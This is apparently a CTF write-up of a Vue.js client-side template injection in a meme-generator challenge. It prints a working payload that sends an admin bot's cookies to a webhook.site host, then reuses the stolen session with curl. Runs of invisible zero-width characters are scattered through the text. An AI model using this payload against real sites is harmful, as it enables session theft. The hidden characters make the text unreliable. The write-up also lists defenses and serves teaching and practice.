155 - Генератор Мемов (Meme Generator)

Platform: Duckerz CTF | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-15 | Status: Solved Techniques: client_side_template_injection, cookie_exfiltration, vue_compile_abuse

Summary

Task: Meme generator web app with Vue.js frontend and admin bot. Solution: Exploited Client-Side Template Injection (CSTI) via Vue.compile() to steal admin session cookie and access flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: duckerz | ID: 20260115_duckerz_155_meme_generator
• Tags: admin_bot, cookie_stealing, csti, session_hijacking, vuejs, xss
• Indicators: Vue.compile(), {{ }} syntax preserved, admin bot/report feature, Flask session cookie
• Source: 20260115_duckerz_155_meme_generator.md

Foothold

Vulnerability / Misconfiguration

1. Client_side_template_injection
2. Cookie_exfiltration
3. Vue_compile_abuse

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• client_side_template_injection
• cookie_exfiltration
• vue_compile_abuse
• Tags: admin_bot, cookie_stealing, csti, session_hijacking, vuejs, xss

Original Writeup

<details><summary>Click to expand original content</summary>

155 - Генератор Мемов (Meme Generator) — DUCKERZ CTF

Description

Создавай мемы и делись ими с друзьями! (Create memes and share them with friends!)

URL: http://tasks.duckerz.ru:30028

Analysis

Reconnaissance

Site analysis revealed:

1. Backend: Flask (Werkzeug)
2. Frontend: Vue.js 2
3. Functionality: creating memes with text, viewing, reporting

Vulnerable Code

Found the compileText() function in the page source:

compileText(text) {
    // Escape HTML tags but leave Vue syntax {{ }} for CSTI
    // This blocks regular XSS but allows template injection
    const vueTemplateRegex = /\{\{[\s\S]*?\}\}/g;
    // ... HTML tags are escaped but Vue templates are preserved
    const compiled = Vue.compile(`<span>${processed}</span>`);
    // ...
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key findings:

• HTML tags are escaped (protection against classic XSS)
• Vue.js syntax {{ }} is intentionally left unescaped
• The comment in the code directly points to CSTI!
• There's a "Report" feature — admin bot checks reported memes

Attack Vector

Client-Side Template Injection (CSTI) in Vue.js allows executing arbitrary JavaScript through the constructor:

{{constructor.constructor("CODE")()}}

Solution

Step 1: Registration

Registered as testuser123 on the site. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 2: Creating Malicious Meme

Created a meme with CSTI payload for cookie stealing:

{{constructor.constructor("new Image().src=\"https://webhook.site/e8fd5575-a2a4-4b84-a4b4-96ee02ac1871?c=\"+document.cookie")()}}

How it works:

1. constructor.constructor — access to Function constructor
2. Create a new Image object with src pointing to webhook
3. Pass document.cookie in URL parameter c
4. Browser makes GET request to webhook with cookies

Step 3: Submitting Report

Submitted a report on the created meme via API: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

POST /api/reports
Content-Type: application/json

{"meme_id": "<meme_id>"}

Step 4: Receiving Admin Cookie

Admin bot opened the meme page, Vue.js compiled and executed the payload.

Received request on webhook.site:

GET /?c=session=eyJ1c2VybmFtZSI6ImFkbWluIn0.aWjwxQ.ndU1bL6o6amFQm9KY5TwcgXxchg

Stolen session:

session=eyJ1c2VybmFtZSI6ImFkbWluIn0.aWjwxQ.ndU1bL6o6amFQm9KY5TwcgXxchg

Decoding Flask session (base64):

{"username": "admin"}

Step 5: Accessing Admin Data

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Used the stolen session to access admin's memes:

curl -H "Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.aWjwxQ.ndU1bL6o6amFQm9KY5TwcgXxchg" \
     "http://tasks.duckerz.ru:30028/api/memes?user=admin"

The flag was found in one of admin's memes.

Defense

To prevent CSTI:

1. Never pass user input to Vue.compile()
2. Escape {{ }} syntax along with HTML
3. Use v-text instead of {{ }} for dynamic content
4. Set HttpOnly flag on session cookies
5. Use CSP (Content Security Policy) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

References

• Vue.js CSTI Research
• Client-Side Template Injection ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR